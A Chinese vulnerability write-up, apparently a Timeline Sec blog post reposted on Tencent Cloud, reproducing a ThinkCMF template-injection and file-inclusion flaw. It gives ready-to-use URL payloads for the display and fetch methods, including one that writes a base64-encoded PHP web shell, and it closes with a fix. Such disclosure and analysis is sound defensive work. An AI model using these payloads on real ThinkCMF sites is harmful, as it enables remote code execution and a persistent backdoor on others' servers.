前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkCMF框架任意内容包含漏洞分析复现

ThinkCMF框架任意内容包含漏洞分析复现

作者头像
Timeline Sec
发布2019-12-15 11:52:29
1.5K0
发布2019-12-15 11:52:29
举报
文章被收录于专栏:Timeline Sec

本文作者:z0ne和Puppy(Timeline Sec新成员)

本文共1233字,阅读大约需要4分钟

本文首发于先知社区

0x00 简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。 ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。 每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。 0x01 漏洞概述


攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。 0x02 影响版本


ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 ThinkCMF X2.2.3 0x03 环境搭建


本次使用的环境版本是2.2.3,直接放到phpstudy的目录下,访问路径/ThinkCMFX/发现ThinkCMF很人性化的加载了安装向导,因此按照它的步骤一步一步来即可(2.2.3版本安装包获取方式:公众号内回复“ThinkCMF环境”)

填写好数据库密码以及管理员信息(phpstudy的数据库默认密码为root)

继续下一步,环境搭建成功如图所示

0x04 漏洞利用


第一种 通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件 phpinfo版payload如下:

代码语言:javascript
复制
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

执行payload,页面是空白的

访问test.php,可以看到phpinfo已经加载出来

第二种 通过构造a参数的display方法,实现任意内容包含漏洞 payload:

代码语言:javascript
复制
?a=display&templateFile=README.md

0x05 漏洞分析


首先打开index.php文件,看一下程序的项目路径,如下显示项目路径在application目录下

在项目路径下找到入口分组的控制器类选择IndexController 控制器类打开

可以看到这里IndexController类中只有一个方法display方法,那么看一下父类HomebaseController文件,根据ThinkPHP框架规则,可以通过g\m\a参数指定分组\模块\方法,这里可以通过a参数直接调用Portal\IndexController父类(HomebaseController)中的一些权限为public的方法。

这边有问题的是display函数和fetch函数: display函数的作用是加载模板和页面输出,所对应的参数为: templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。

templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找,这里可以配合一处上传形成文件包含。最终形成的payload :

index.php?a=display&templateFile=README.md fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可。最终形成的payload:

index.php?a=fetch&content=<?php+file_put_contents("s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7Pz4="); 0x06 修复方式


将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

参考链接:

https://www.freebuf.com/vuls/217586.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档